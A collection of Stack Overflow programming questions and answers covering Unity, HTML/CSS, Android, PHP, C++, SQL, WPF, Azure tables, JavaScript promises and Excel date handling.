22328355	0	Unity3D: Trying to make a custom Sleep/Wait function in C# <p>All this started yesterday when I use that code for make a snippet:</p> <pre><code>void Start() { print("Starting " + Time.time); StartCoroutine(WaitAndPrint(2.0F)); print("Before WaitAndPrint Finishes " + Time.time); } IEnumerator WaitAndPrint(float waitTime) { yield return new WaitForSeconds(waitTime); print("WaitAndPrint " + Time.time); } </code></pre> <p>From: <a href="http://docs.unity3d.com/Documentation/ScriptReference/MonoBehaviour.StartCoroutine.html" rel="nofollow">http://docs.unity3d.com/Documentation/ScriptReference/MonoBehaviour.StartCoroutine.html</a></p> <p>The problem is that I want to set a static variable from a class of that type:</p> <pre><code>class example { private static int _var; public static int Variable { get { return _var; } set { _var = value; } } } </code></pre> <p>Which is the problem? The problem is that If put that variable in a parameter of a function this "temporal parameter" will be destroyed at the end of the function... So, I seached a little bit, and I remebered that:</p> <pre><code>class OutExample { static void Method(out int i) { i = 44; } static void Main() { int value; Method(out value); // value is now 44 } } </code></pre> <p>From: <a href="http://msdn.microsoft.com/es-es/library/ms228503.aspx" rel="nofollow">http://msdn.microsoft.com/es-es/library/ms228503.aspx</a></p> <p>But, (there's always a "but"), <a href="http://stackoverflow.com/questions/999020/why-iterator-methods-cant-take-either-ref-or-out-parameters">Iterators cannot have ref or out</a>... so I decide to create my own wait function because Unity doesn't have Sleep function...</p> <p>So there's my code:</p> <pre><code> Debug.Log("Showing text with 1 second of delay."); float time = Time.time; while(true) { if(t &lt; 1) { t += Time.deltaTime; } else { break; } } Debug.Log("Text showed with "+(Time.time-time).ToString()+" seconds of delay."); </code></pre> <p>What is the problem with that code? The problem is that It's very brute code, becuase It can produce memory leak, bugs and of course, the palayzation of the app...</p> <p>So, what do you recomend me to do?</p>
2841484	0	How can a <label> completely fill its parent <td>? <p>Here is the relevant code (doesn't work):</p> <pre><code>&lt;html&gt; &lt;head&gt; &lt;title&gt;testing td checkboxes&lt;/title&gt; &lt;style type="text/css"&gt; td { border: 1px solid #000; } label { border: 1px solid #f00; width: 100%; height: 100% } &lt;/style&gt; &lt;/head&gt; &lt;body&gt; &lt;table&gt; &lt;tr&gt; &lt;td&gt;Some column title&lt;/td&gt; &lt;td&gt;Another column title&lt;/td&gt; &lt;/tr&gt; &lt;tr&gt; &lt;td&gt;Value 1&lt;br&gt;(a bit more info)&lt;/td&gt; &lt;td&gt;&lt;label&gt;&lt;input type="checkbox" /&gt; &amp;nbsp;&lt;/label&gt;&lt;/td&gt; &lt;/tr&gt; &lt;tr&gt; &lt;td&gt;Value 2&lt;/td&gt; &lt;td&gt;&lt;input type="checkbox" /&gt;&lt;/td&gt; &lt;/tr&gt; &lt;/table&gt; &lt;/body&gt; &lt;/html&gt; </code></pre> <p>The reason is that I want a click anywhere in the table cell to check/uncheck the checkbox.</p> <p>edits: By the way, no javascript solutions please, for accessibility reasons. I tried using display: block; but that only works for the width, not for the height</p>
36716181	0	Getting Plus.PeopleApi.getCurrentPerson(mGoogleApiClient) null value <p>This is onConnected method :</p> <pre><code>try { mGoogleApiClient.connect(); Plus.PeopleApi.loadVisible(mGoogleApiClient, null).setResultCallback(this); if (Plus.PeopleApi.getCurrentPerson(mGoogleApiClient) != null) { Person currentPerson = Plus.PeopleApi.getCurrentPerson(mGoogleApiClient); googlePlusProfilrInfo(currentPerson); isGooglePlusClicked = false; } else { Toast.makeText(getApplicationContext(), "No Personal info mention", Toast.LENGTH_LONG).show(); } } </code></pre> <p>BuildGooglePlus API in oncreate</p> <pre><code>mGoogleApiClient = new GoogleApiClient.Builder(this) .addConnectionCallbacks(this) .addOnConnectionFailedListener(this) .addApi(Plus.API,Plus.PlusOptions.builder().build()) .addScope(Plus.SCOPE_PLUS_PROFILE) .addScope(Plus.SCOPE_PLUS_LOGIN) .build(); </code></pre> <p>onClick </p> <pre><code>public void onClick(View v) { if(Utils.isConnectedToInternet(LoginActivity.this)){ switch (v.getId()) { case R.id.img_login_google_plus: signInWithGplus(); isGooglePlusClicked = true; Log.i(TAG, "onClick isGooglePlusClicked value=" + isGooglePlusClicked); if (!mGoogleApiClient.isConnecting()) { resolveSignInError(); } else { Toast.makeText( this, "Google sign-in not available for now. Please try again later.", Toast.LENGTH_SHORT).show(); Log.i(TAG, "else case"); } break; private void signInWithGplus() { if (!mGoogleApiClient.isConnecting()) { isGooglePlusClicked = true; resolveSignInError(); } } public void SignOutFromGPlus() { if(mGoogleApiClient.isConnected()) { Plus.AccountApi.clearDefaultAccount(mGoogleApiClient); mGoogleApiClient.disconnect(); mGoogleApiClient.connect(); } } @Override public void onConnectionSuspended(int cause) { // The connection to Google Play services was lost for some reason. // We call connect() to attempt to re-establish the connection or get a // ConnectionResult that we can attempt to resolve. mGoogleApiClient.connect(); } @Override public void onConnectionFailed(ConnectionResult result) { if (!result.hasResolution()) { GooglePlayServicesUtil.getErrorDialog(result.getErrorCode(), this, 0).show(); return; } if (!mIntentInProgress) { // Store the ConnectionResult for later usage mConnectionResult = result; if (gServicesSignInProg == STATE_SIGN_IN) { // The user has already clicked 'sign-in' so we attempt to // resolve all // errors until the user is signed in, or they cancel. resolveSignInError(); } } } private void resolveSignInError() { if (mConnectionResult.hasResolution()) { try { mIntentInProgress = true; mConnectionResult.startResolutionForResult(this, RC_SIGN_IN); } catch (IntentSender.SendIntentException e) { mIntentInProgress = false; mGoogleApiClient.connect(); } } } @Override public void onConnected(Bundle connectionHint) { // Reaching onConnected means we consider the user signed in. // Update the user interface to reflect that the user is signed in. // Retrieve some profile information to personalize our app for the // user. try { mGoogleApiClient.connect(); Plus.PeopleApi.loadVisible(mGoogleApiClient, null).setResultCallback(this); if (Plus.PeopleApi.getCurrentPerson(mGoogleApiClient) != null) { Person currentPerson = Plus.PeopleApi.getCurrentPerson(mGoogleApiClient); googlePlusProfilrInfo(currentPerson); isGooglePlusClicked = false; } else { Toast.makeText(getApplicationContext(), "No Personal info mention", Toast.LENGTH_LONG).show(); } } catch (Exception e) { e.printStackTrace(); } } </code></pre> <p>Getting continuously null person value... Please solve this...</p>
37273355	0	 <p>try this code: write this code in your manifest</p> <pre><code> &lt;activity android:name="Activity1" android:theme="@style/AppTheme1" /&gt; </code></pre> <p>for another activity</p> <pre><code>&lt;activity android:name="Activity2" android:theme="@style/AppTheme2" /&gt; </code></pre>
6530963	0	Do I need to use authentication check for public methods? <p>In object-oriented PHP application, do I need to use <code>authentication</code> check in almost every <code>public</code> method in my application for security?</p> <p>I'm worried about this vulnerability: <a href="http://cwe.mitre.org/top25/#CWE-306" rel="nofollow">CWE-306: Missing Authentication for Critical Function</a></p> <p><strong>How anyone could call my public methods, even if I use <code>static</code> keyword?</strong></p> <hr> <p>What are the requirements for this attack to succeed?</p> <p>Like some another vulnerability - Like allowing PHP file uploads to my system?</p>
5910090	0	 <pre><code> int[] a1, a2, a3; a1 = new int[3]; a2 = new int[1]; a3 = new int[1]; bool equalLength = (a1.Length == (a2.Length &amp; a3.Length)); </code></pre>
29316538	0	Is f(++i, ++i) undefined? <p>I seem to recall that in C++11, they made some changes to the sequencing behaviour and that now i++ and ++i have different sequencing requirements.</p> <p>Is <code>f(++i, ++i)</code> still undefined behaviour? What is the difference between <code>f(i++, i++)</code> and <code>f(++i, ++i)</code>?</p>
28951867	0	 <p>Your code is a bit messy but a quick fix will be to add: </p> <p><code>this.props.enter(this.refs.inputEl.getDOMNode().value);</code> </p> <p>where your <code>console.log()</code> is. I will edit my answer with the full explanation once I'm on my laptop</p>
37345852	0	 <p>Check your main method:</p> <pre><code>public static void main(String[] args) throws Exception { new Test().searchBetweenDates(startDate, endDate); searchBetweenDates(startDate, endDate); </code></pre> <p>the parenthesis is missing. It should be:</p> <pre><code>public static void main(String[] args) throws Exception { new Test().searchBetweenDates(startDate, endDate); searchBetweenDates(startDate, endDate); } </code></pre>
9838299	0	 <p>How to debug a Rails application:</p> <ol> <li>Place a breakpoint somewhere in the app code</li> <li><a href="http://www.jetbrains.com/ruby/webhelp/running-and-debugging-2.html" rel="nofollow">Create Rails Server Run/Debug configuration</a> (or use the existing one if the project was created in RubyMine)</li> <li>Click on the <strong>Debug</strong> button in the toolbar</li> <li>Rails server starts in debug mode</li> <li>Browser with the app opens (or you open it manually if such option was disabled)</li> <li>Navigate to the page that will trigger breakpoint</li> <li>Observe the stack frame, locals, etc in the RubyMine Debugger pannel.</li> </ol>
12436436	0	 <p>The answers so far are all right, but i think you should do it differently for future use. Maybe your count will extend, so just search for the first occurence of "." and then cut the string there.</p> <pre><code>text = text.substring(text.indexOf(".")+1); </code></pre>
15973808	0	 <p>You're sending something called "books.xls", and correctly signalling that it's an Excel spreadsheet... but it isn't. You've completely missed the step of actually creating an Excel spreadsheet containing your data (which is probably 80% of the work here).</p> <p>Try searching the web for how to create an excel spreadsheet in Python.</p>
36501884	0	 <p>I need to do something like that, but When I try to execute this code it stops with an error</p> <pre><code>Run-time Error 91 : Object variable or With block variable not set. </code></pre> <p>And the error is in those lines:</p> <pre><code>iTotalWords = wordHilite.getNumText iTotalWords = PDFJScriptObj.getPageNumWords(Nthpage) </code></pre>
20976898	0	 <p>Firstly, the k-means clustering algorithm doesn't necessarily produce an optimal result, thus that's already a fairly significant indicator that it might have different results from different starting points.</p> <p>It really comes down to the fact that each cluster uses the points in its own cluster to determine where it should move to - if all the clusters find their way to the centre of their respective points, the algorithm will terminate, and there can be multiple ways this can happen.</p> <p>Consider this example: (4 points indicated by <code>.</code> and 2 clusters indicated by <code>x</code>)</p> <pre><code>. . . x . x x versus . . . x . </code></pre> <p>Both the left and the right side have converged, but they're clearly different (the one on the right is clearly worse).</p> <p>To find the best one you can pick the result that minimizes the sum of square distances from the centres to each of the points classified under it (this is, after all, <a href="http://en.wikipedia.org/wiki/K-means_algorithm#Description" rel="nofollow">the goal of k-means clustering</a>).</p>
40451054	0	Can't install HTK on linux <p>I wan't to use ALIZE for speaker recognition and after the instalation there is one of the steps: <em>feature extraction using SPRO or HTK</em> So I downloaded zip file of HTK and using terminal I configured everything, but when entering <strong>make all</strong> I'm getting this error:</p> <pre><code>/usr/bin/ld: cannot find -lX11 collect2: error: ld returned 1 exit status Makefile:56: recipe for target 'HSLab' failed make[1]: *** [HSLab] Error 1 make[1]: Leaving directory '/home/username/Downloads/htk/HTKTools' Makefile:108: recipe for target 'htktools' failed make: *** [htktools] Error 1 </code></pre> <p>what does it mean and how to fix this? I'm looking for answer for hours and can't find anything...</p> <p>I'm using HTK 3.4.1 stable version and LInux ubuntu 16.10</p>
19230907	0	How to override erb with liquid? <p>I've added a theming directory to my app as described <a href="http://stackoverflow.com/a/6082751/628859">here</a>, using <code>prepend_view_path</code>. It works as expected. I can now add a view structure in my app under <code>app/themes/my_theme/views</code></p> <p>Now, I want to be able to override <code>erb</code> templates by dropping in a <code> .liquid</code> file, which will render right off the controller action.</p> <p>For example, I want to override <code>app/views/pages/home.html.erb</code>:</p> <pre><code>&lt;h1&gt;&lt;%= t 'it_works' %&gt;&lt;/h1&gt; </code></pre> <p>...with <code>app/themes/my_theme/views/pages/home.liquid</code></p> <pre><code>&lt;h1&gt;It works with {{ "liquid" }}&lt;/h1&gt; </code></pre> <p>I don't want to have to specify an array of view paths (upkeep would be awful), but just add <code>.liquid</code> as a layer to the templating engine. Maybe, however, have a blacklist of protected views that cannot be overridden (such as <code>app/views/admin/*</code>)</p>
2118469	0	 <p>Use ViewState between postbacks otherwise value of property will be lost.</p> <pre><code>public string UrlForRedirecting { get { object urlForRedirecting = ViewState["UrlForRedirecting"]; if (urlForRedirecting != null) { return urlForRedirecting as string; } return string.Empty; } set { ViewState["UrlForRedirecting"] = value; } } </code></pre>
29405880	0	mySQL group by 3 columns <p>I have a query here that group by 3 columns and count the total rows</p> <pre><code>SELECT count(*) FROM ( SELECT date,bankName FROM table GROUP BY date,bankName,referenceNo ) a; </code></pre> <p>Basically, this query is used for pagination. I have two queries before this one.</p> <p>I have 166,000 rows of data now and this query taking 1.23 seconds to return the result which is not nice to use when the data grows. What should I do?</p>
30891392	0	WPF: how to change my chart to get only one value instead of 2 <p>This is my <code>chart</code>:</p> <pre><code>&lt;Grid&gt; &lt;chartingToolkit:Chart Name="lineChart" Margin="16,90,30,483" Background="Transparent"&gt; &lt;chartingToolkit:LineSeries DependentValuePath="Value" IndependentValuePath="Key" ItemsSource="{Binding}" IsSelectionEnabled="True" Margin="0,-37,0,37" &gt; &lt;chartingToolkit:LineSeries.Template&gt; &lt;ControlTemplate TargetType="chartingToolkit:LineSeries"&gt; &lt;Canvas x:Name="PlotArea"&gt; &lt;Polyline x:Name="polyline" Points="{TemplateBinding Points}" Stroke="Yellow" Style="{TemplateBinding PolylineStyle}" /&gt; &lt;/Canvas&gt; &lt;/ControlTemplate&gt; &lt;/chartingToolkit:LineSeries.Template&gt; &lt;/chartingToolkit:LineSeries&gt; &lt;/chartingToolkit:Chart&gt; &lt;/Grid&gt; </code></pre> <p>Currently i am using this <code>list</code> to populate my <code>chart</code>:</p> <pre><code>ObservableCollection&lt;KeyValuePair&lt;int, int&gt;&gt; points </code></pre> <p>But after change my model i have only 1 <code>value</code> that i want to add - <code>double</code> so i try to remove from my <code>chart</code> the <code>DependentValuePath="Value"</code> or <code>IndependentValuePath="Key"</code> but this likely not the way to do that.</p>
5919530	1	What is the pythonic way to calculate dot product? <p>I have two lists, one is named as A, another is named as B. Each element in A is a triple, and each element in B is just an number. I would like to calculate the result defined as :</p> <p>result = A[0][0] * B[0] + A[1][0] * B[1] + ... + A[n-1][0] * B[n-1]</p> <p>I know the logic is easy but how to write in pythonic way?</p> <p>Thanks!</p>
15185421	0	Using the Result arg in SuperObject <p>i'm using this superobject unit in one of my project as an rpc protocol, and inside a remote called procedure (signature has a var Result arg) i want to know how to use that arg...</p> <p>isn't there a documentation ? thanks.</p> <pre><code>program test_rpc; {$IFDEF FPC} {$MODE OBJFPC}{$H+} {$ELSE} {$APPTYPE CONSOLE} {$ENDIF} uses SysUtils, superobject; procedure controler_method1(const This, Params: ISuperObject; var Result: ISuperObject); var i: Integer; begin write('action called with params '); writeln(Params.AsString); try // How do i use Result arg to return a value ? as if it were a function returning string Result except exit; end; end; var s: ISuperObject; begin s := TSuperObject.Create; s.M['controler.action1'] := @controler_method1; try s['controler.action1("HHAHAH")']; finally s := nil; writeln('Press enter ...'); readln; end; end. </code></pre>
20195544	0	Scala: how to understand the flatMap method of Try? <p>The flatMap method of the Success is implemented like this:</p> <pre><code> def flatMap[U](f: T =&gt; Try[U]): Try[U] = try f(value) catch { case NonFatal(e) =&gt; Failure(e) } </code></pre> <p>I kinda understand what this method is doing, it helps us to avoid writing a lot of catching code.</p> <p>But in what sense is it similar to the regular flatMap? </p> <p>A regular flatMap takes a sequence of sequences, and put all the elements into one big "flat" sequence.</p> <p>But the flatMap method of Try is not really flattening anything.</p> <p>So, how to understand the flatMap method of Try?</p>
12677532	0	Datatable custom sort function on a given column <p>I am using jquery datatables and I need to sort data by the first column which contains checkboxes by displaying checked boxes first </p> <pre><code>oTable = $('#userTable', context).dataTable( { "sAjaxSource":'/ajax/getdata/', "fnServerData": function ( sSource, aoData, fnCallback, oSettings ) { oSettings.jqXHR = $.ajax( { "dataType": 'json', "type": "POST", "url": sSource, "data": params, "success" : function(data) { fnCallback(data); fnSortBySelected(); } }); } }); var fnSortBySelected = function() { var oSettings = oTable.fnSettings(); var i = 0; $('td:first-child input[type=checkbox]',oTable).sort(function(a, b) { if(a.checked) oTable.fnUpdate( oSettings.aoData[i]._aData, i, 0); else oTable.fnUpdate( oSettings.aoData[i+1]._aData, i, 0); i++; }); } </code></pre> <hr> <p>thanks for your time , this is what i tried so far :</p> <pre><code> oTable = $('#userTable', context).dataTable({ "sAjaxSource":'/ajax/getdata/', "fnServerData": function ( sSource, aoData, fnCallback, oSettings ) { oSettings.jqXHR = $.ajax( { "dataType": 'json', "type": "POST", "url": sSource, "data": params, "success" : function(data){ fnCallback(data); fnSortBySelected(); } } ); } }); var fnSortBySelected = function() { var oSettings = oTable.fnSettings(); var i = 0; $('td:first-child input[type=checkbox]',oTable).sort(function(a, b){ if(a.checked) oTable.fnUpdate( oSettings.aoData[i]._aData, i, 0); else oTable.fnUpdate( oSettings.aoData[i+1]._aData, i, 0); i++; } ); } </code></pre>
36001963	0	 <p>Partitionkey and Rowkey are just two properties of entitis in Azure table. Rowkey is the "primary key" within one partition. Within one PartitionKey, you can only have unique RowKeys. If you use multiple partitions, the same RowKey can be reused in every partition. PartitionKey + RowKey form the unique identifier(Primary key) for an entity. </p> <p>In your table, the partitionkey and rowkey are just assigned with a random string. I'm not sure whether you designed this table or somebody else, but these two properties can be assigned with other values through <a href="https://azure.microsoft.com/en-us/documentation/articles/storage-dotnet-how-to-use-tables/" rel="nofollow">Azure Storage .NET client libary</a> and <a href="https://msdn.microsoft.com/en-us/library/azure/dd179433.aspx" rel="nofollow">Rest API</a>. As the example below, you can design the rowkey and partitionkey, and assign whatever valid value you want, here lastname for Partitionkey and firstname for rowkey:</p> <pre><code>public class CustomerEntity : TableEntity { public CustomerEntity(string lastName, string firstName) { this.PartitionKey = lastName; this.RowKey = firstName; } public CustomerEntity() { } public string Email { get; set; } public string PhoneNumber { get; set; } </code></pre> <p>}</p> <p>It’s better to think about both properties and your partitioning strategy. Don’t just assign them a guid or a random string as it does matter for performance. I recommend you go through <a href="https://msdn.microsoft.com/en-us/library/hh508997.aspx" rel="nofollow">Designing a Scalable Partitioning Strategy for Azure Table Storage</a>, the most commom used is Range Partitions, but you can choose whatever you want.</p> <p>This is a great blog help you understand how partitionkey and rowkey work <a href="http://blog.maartenballiauw.be/post/2012/10/08/What-PartitionKey-and-RowKey-are-for-in-Windows-Azure-Table-Storage.aspx" rel="nofollow">http://blog.maartenballiauw.be/post/2012/10/08/What-PartitionKey-and-RowKey-are-for-in-Windows-Azure-Table-Storage.aspx</a></p>
16875368	0	 <p>This is a good use case for <em>promises</em>. </p> <p>They work like this (example using jQuery promises, but there are other APIs for promises if you don't want to use jQuery):</p> <pre><code>function doCallToGoogle() { var defer = $.Deferred(); callToGoogleServicesThatTakesLong({callback: function(data) { defer.resolve(data); }}); return defer.promise(); } /* ... */ var responsePromise = doCallToGoogle(); /* later in your code, when you need to wait for the result */ responsePromise.done(function (data) { /* do something with the response */ }); </code></pre> <p>The good thing is that you can chain promises:</p> <pre><code>var newPathPromise = previousPathPromise.then( function (previousPath) { /* build new path */ }); </code></pre> <p>Take a look to: </p> <ul> <li><a href="http://documentup.com/kriskowal/q/" rel="nofollow">http://documentup.com/kriskowal/q/</a></li> <li><a href="http://api.jquery.com/promise/" rel="nofollow">http://api.jquery.com/promise/</a></li> </ul> <p>To summarize promises are an object abstraction over the use of callbacks, that are very useful for control flow (chaining, waiting for all the callbacks, avoid lots of callback nesting).</p>
1340401	0	 <p>You can't with most SSH clients. You can work around it with by using SSH API's, like <a href="http://www.lag.net/paramiko/" rel="nofollow noreferrer">Paramiko</a> for Python. Be careful not to overrule all security policies.</p>
18041981	0	 <p>Well the error is quite logical</p> <pre><code>if command == "iam": self.name = content msg = self.name + "has joined" elif command == "msg": msg = self.name + ": " + content print msg </code></pre> <p>In the first if clause you assign a value to self.name which may either rely on assumption that self.name exists somewhere, or on assumption that it is new and needs to be declared, but in elif you seem to assume with certainty that self.name already exists, it turns out it doesn't so you get an error.</p> <p>I guess your safest option consists of simply adding self.name at the beginning of dataReceived method:</p> <pre><code>def dataReceived(self, data): self.name = "" </code></pre> <p>this will get rid of the error. As an alternative you could also add self.name to init method of IphoneChat.If you need self.name in other functions not only in dataReceived then adding init with self.name is the way to go, but from your code it seems you only need it in datareceived so just add it there. Adding self.name in init would look like this:</p> <pre><code>class IphoneChat(Protocol): def __init__(self): self.name = "" </code></pre> <p>or you can also simply do </p> <pre><code>class IphoneChat(Protocol): name = "" </code></pre> <p>and then go on with name instead of self.name. </p>
6713460	0	 <p>To avoid string processing, lambdas are a good solution as in the answer by Johannes Schaub. If your compiler doesn't support lambdas yet then you could do it like this with no C++0x features and no macroes:</p> <pre><code>doTrace(LEVEL_INFO, some_props) &lt;&lt; "Value of i is " &lt;&lt; i; </code></pre> <p>doTrace would return a temporary object with a virtual operator&lt;&lt;. If no tracing is to be performed, then return an object whose operator&lt;&lt; does nothing. Otherwise return an object whose operator&lt;&lt; does what you want. The destructor of the temporary object can signal that the string being outputted is done. Now destructors shouldn't throw, so if the final processing of the trace event can throw an exception, then you may need to include an end-of-event overload of operator&lt;&lt;</p> <p>This solution causes several virtual function calls even when no tracing is done, so it is less efficient than "if(tracing) ...". That should only really matter in performance critical loops where you probably want to avoid doing tracing anyway. In any case you could revert to checking tracing with an if in those cases or when the logic for doing the tracing is more complicated than comfortably fits in a sequence of &lt;&lt;'s.</p>
29016131	0	SVG: Why <p> element is not displaying in <foreignobject> <p>I'm attempting to put a <code>&lt;p&gt;</code> element inside a <code>&lt;foreignobject&gt;</code> inside an <code>&lt;svg&gt;</code> node in chrome but I am not seeing the text. I have inspected the element and the DOM model shows the structure I expect. I created this <a href="http://jsfiddle.net/ujzL8yyr/" rel="nofollow">jsfiddle</a> by copying from the DOM model and lo and behold it works exactly as I desire in the fiddle.</p> <p>After scratching my head for a bit I started looking at the properties in the two tabs (both in Chrome) and the only 2 things at this point that jump out me are that when I hover over the <code>&lt;foreignobject&gt;</code> or <code>&lt;p&gt;</code> element in the fiddle, it shows a grey box the area where it's displayed. When I do this in the real application, it does the same for the <code>&lt;foreignobject&gt;</code> but I see nothing for the <code>&lt;p&gt;</code> element. The second difference is that in the fiddle, the <code>&lt;p&gt;</code> element shows a height and a width of 54px and 100px (respectively) but in the actual application they both are reported to be 'auto'.</p> <p>As an experiment, I attempted to set the height and width explicitly in the CSS for 'p' but chrome just shows this as an 'invalid property'.</p> <p>Assuming this is the problem, I'm a little lost as to how to control a property that I'm not allowed to specify. Can someone help with some advice on how to debug this further? There's clearly something about what I am doing that is causing this but I'm not sure where to look next.</p> <p>EDIT:</p> <p>I don't know why I didn't notice this before but I see a difference that may help explain this. The fiddle shows the properties for the <code>&lt;p&gt;</code> element as:</p> <ul> <li>p.description</li> <li>HTMLParagraphElement</li> <li>HTMLElement</li> <li>Node</li> <li>EventTarget</li> <li>Object</li> </ul> <p>The application shows these properties:</p> <ul> <li>p</li> <li>SVGElement</li> <li>Element</li> <li>Node</li> <li>EventTarget</li> <li>Object</li> </ul> <p>I assume this has something to do with how d3 is adding the <code>&lt;p&gt;</code> element. I will try to create a fiddle that creates the elements with d3.</p>
35480331	0	How run async method multiple times in separate threads? <p>I am newbie in using of await/async and windows phone 8.1 programming. I need to run async method simulateously in more than one thread. May be four, because my phone has four cores. But i cannot figure it out :-(</p> <p>This is example of my async method.</p> <pre><code>public async Task GetFilesAsyncExample(StorageFolder root) { IReadOnlyList&lt;StorageFolder&gt; folders = await root.GetFoldersAsync(); //DO SOME WORK WITH FOLDERS// } </code></pre> <p>Four threads can be ensured by using of a semaphore object, but how i can run it in simulatously running threads?</p> <p><strong>EDIT:</strong> This is my code which explores folder structure and log metadata about files into database. I want to speed up execution of this code by calling method "async LogFilesFromFolderToDB(StorageFolder folder)" simulateously in separate thread for each folder.</p> <pre><code> Stack&lt;StorageFolder&gt; foldersStack = new Stack&lt;StorageFolder&gt;(); foldersStack.Push(root); while (foldersStack.Count &gt; 0) { StorageFolder currentFolder = foldersStack.Pop(); await LogFilesFromFolderToDB(null, currentFolder);// Every call of this method can be done in a separate thread. IReadOnlyList&lt;StorageFolder&gt; folders = await currentFolder.GetFoldersAsync(); for (int i = 0; i &lt; folders.Count; i++) foldersStack.Push(folders[i]); } </code></pre> <p>Method: async LogFilesFromFolderToDB(StorageFolder folder) looks like:</p> <pre><code> async Task LogFilesFromFolderToDB(StorageFolder folder) { IReadOnlyList&lt;StorageFile&gt; files = await folder.GetFilesAsync(); //SOME ANOTHER CODE// } </code></pre>
7100174	0	 <p>You'll need to subclass <code>UITableViewCell</code> and override <code>-layoutSubviews</code>. When the cell's editing bit is set to YES, <code>-layoutSubviews</code> will automatically be invoked. Any changes made within <code>-layoutSubviews</code> are automatically animated.</p> <p>Consider this example</p> <pre><code>- (void)layoutSubviews { [super layoutSubviews]; CGFloat xPosition = 20.0f; // Default text position if (self.editing) xPosition = 40.0f; CGRect textLabelFrame = self.textLabel.frame; textLabelFrame.origin.x = xPosition; self.textLabel.frame = textLabelFrame; } </code></pre>
1794705	0	 <p>Seems like it would make more sense to compute the parameters within if/else or switch logic, store them in variables, and then call the function afterwords with whatever parameters you computed.</p>
30177008	0	 <p>You should check out the update <a href="https://developers.google.com/analytics/devguides/reporting/core/v3/quickstart/" rel="nofollow">Hello Analytics API</a> docs. That way you only need to use the <a href="https://github.com/google/google-api-php-client" rel="nofollow">Google APIs Client Library</a> for PHP and not any third party tool.</p>
22445670	0	Save and restore elscreen tabs and split frames <p>I have many elscreen tabs(frames?) that are horizontally and vertically split. I'd like to be able to save the current buffers, windows layout in each frame, and the frames themselves.</p> <p>In short, I'd like to be able to close emacs and re-open with relatively the same state as when I closed it.</p> <p>(I think I got the terminology right)</p>
36693872	0	How to count households from each postcode in the database <p>I made an er diagram for a business and based on which I need to run a query for counting household from each postcode. </p> <pre><code>SELECT CU.POSTCODE, Count(CU.CUSTOMER_ID) AS HOUSEHOLDS_PER_POSTCODE FROM CUSTOMER AS CU INNER JOIN HOUSEHOLD AS HHD ON CU.CUSTOMER_ID = HHD.CUSTOMER_ID GROUP BY CU.POSTCODE; </code></pre> <p>Is this a good way? </p>
34643390	0	 <p>You can find the value of the exponent using <code>log10</code>:</p> <pre><code>testVector = [3.5688e+10 3.1110e+10 5.2349e+10]; lowExp = min(floor(log10(testVector))); eVal = 10^lowExp; </code></pre> <p>Result:</p> <pre><code>eVal = 1.0000e+10 </code></pre> <p>Then you'll need to divide your original vector by <code>eVal</code>:</p> <pre><code>newTestV = testVector/eVal newTestV = 3.5688 3.1110 5.2349 </code></pre>
25168877	0	 <p>The answer may also lie in eval.points. Researching more it looks like you can enter your own points here, so you can potentially enter the points used to build the kde or an entirely new set of points.</p>
5598274	0	View drawn under status bar <p>So i managed to load another view when someone presses a button ,but it loads it to high. `i don't know why this happens. The difference is exactly the top bar hight. This is my code: In the delegate i have:</p> <pre><code>- (void)flipToAbout { AboutViewController *aaboutView = [[AboutViewController alloc] initWithNibName:@"AboutViewController" bundle:nil]; [self setAboutController:aaboutView]; [aaboutView release]; [UIView beginAnimations:nil context:NULL]; [UIView setAnimationDuration:0.5]; [UIView setAnimationTransition:UIViewAnimationTransitionFlipFromLeft forView:window cache:YES]; [homeController.view removeFromSuperview]; [self.window addSubview:[aboutController view]]; [UIView commitAnimations];} </code></pre> <p>In the about view i didn't change anything.Please tell me what is the problemm .Thanks.</p>
36413627	0	 <p>The issue was the Class assignment that was with the Search Icon. After removing the line <code>class: col-mw-3</code> it ran fine, and in all of the browsers. Also make sure nothing is covering the <code>&lt;a&gt;</code> Tag as well!</p>
11968811	0	 <p>To go from an DateTime in the "Excel Format" to a C# Date Time you can use the <a href="http://msdn.microsoft.com/en-us/library/system.datetime.fromoadate.aspx">DateTime.FromOADate</a> function.</p> <p>In your example above:</p> <pre><code> DateTime myDate = DateTime.FromOADate(41172); </code></pre> <p>To write it out for display in the desired format, use:</p> <pre><code> myDate.ToString("dd/MM/yyyy"); </code></pre> <p>If you are wondering where the discrepancies in Excel's date handling come from, it's supposed to be on purpose:</p> <blockquote> <p>When Lotus 1-2-3 was first released, the program assumed that the year 1900 was a leap year even though it actually was not a leap year. This made it easier for the program to handle leap years and caused no harm to almost all date calculations in Lotus 1-2-3.</p> <p>When Microsoft Multiplan and Microsoft Excel were released, they also assumed that 1900 was a leap year. This allowed Microsoft Multiplan and Microsoft Excel to use the same serial date system used by Lotus 1-2-3 and provide greater compatibility with Lotus 1-2-3. Treating 1900 as a leap year also made it easier for users to move worksheets from one program to the other.</p> <p>Although it is technically possible to correct this behavior so that current versions of Microsoft Excel do not assume that 1900 is a leap year, the disadvantages of doing so outweigh the advantages.</p> </blockquote> <p>Source: <a href="http://www.ozgrid.com/Excel/ExcelDateandTimes.htm">http://www.ozgrid.com/Excel/ExcelDateandTimes.htm</a></p>
10187851	0	What gets send to the server with request factory <p>I have problem to understand what does Request factory send to server. I have a method </p> <pre><code>Request&lt;NodeProxy&gt; persist(NodeProxy node) </code></pre> <p>NodeProxy is an Object from tree like structure (has child nodes and one parent node, all of type NodeProxy). I'v change only one attribute in the node and called persists. </p> <p>The question now is what gets send to the server? In the dock here <a href="https://developers.google.com/web-toolkit/doc/latest/DevGuideRequestFactory" rel="nofollow">https://developers.google.com/web-toolkit/doc/latest/DevGuideRequestFactory</a> there is: <br>"On the client side, RequestFactory keeps track of objects that have been modified and sends only changes to the server, which results in very lightweight network payloads."</p> <p>In the same dock, in the chapter Entity Relationships, there is also this: <br>"RequestFactory automatically sends the whole object graph in a single request." </p> <p>And I'm wondering how should I understand this. </p> <p>My problem: My tree structure can get quete big, lets say 50 nodes. The problem is that for update of one attribute the method </p> <pre><code>public IEntity find(Class&lt;? extends IEntity&gt; clazz, String id) </code></pre> <p>in the class</p> <pre><code>public class BaseEntityLocator extends Locator&lt;IEntity, String&gt; </code></pre> <p>gets called for each object in the graph which is not acceptable. </p> <p>Thank you in advance.</p>
7013326	0	Firefox maximize doesn't trigger resize Event <p>I try to catch resize events with jquery and the </p> <pre><code>$(window).resize(function() { } </code></pre> <p>Everything works fine, except when I use the maximize Button in Firefox, the event is not thrown.</p> <p>Is there something wrong here?</p>
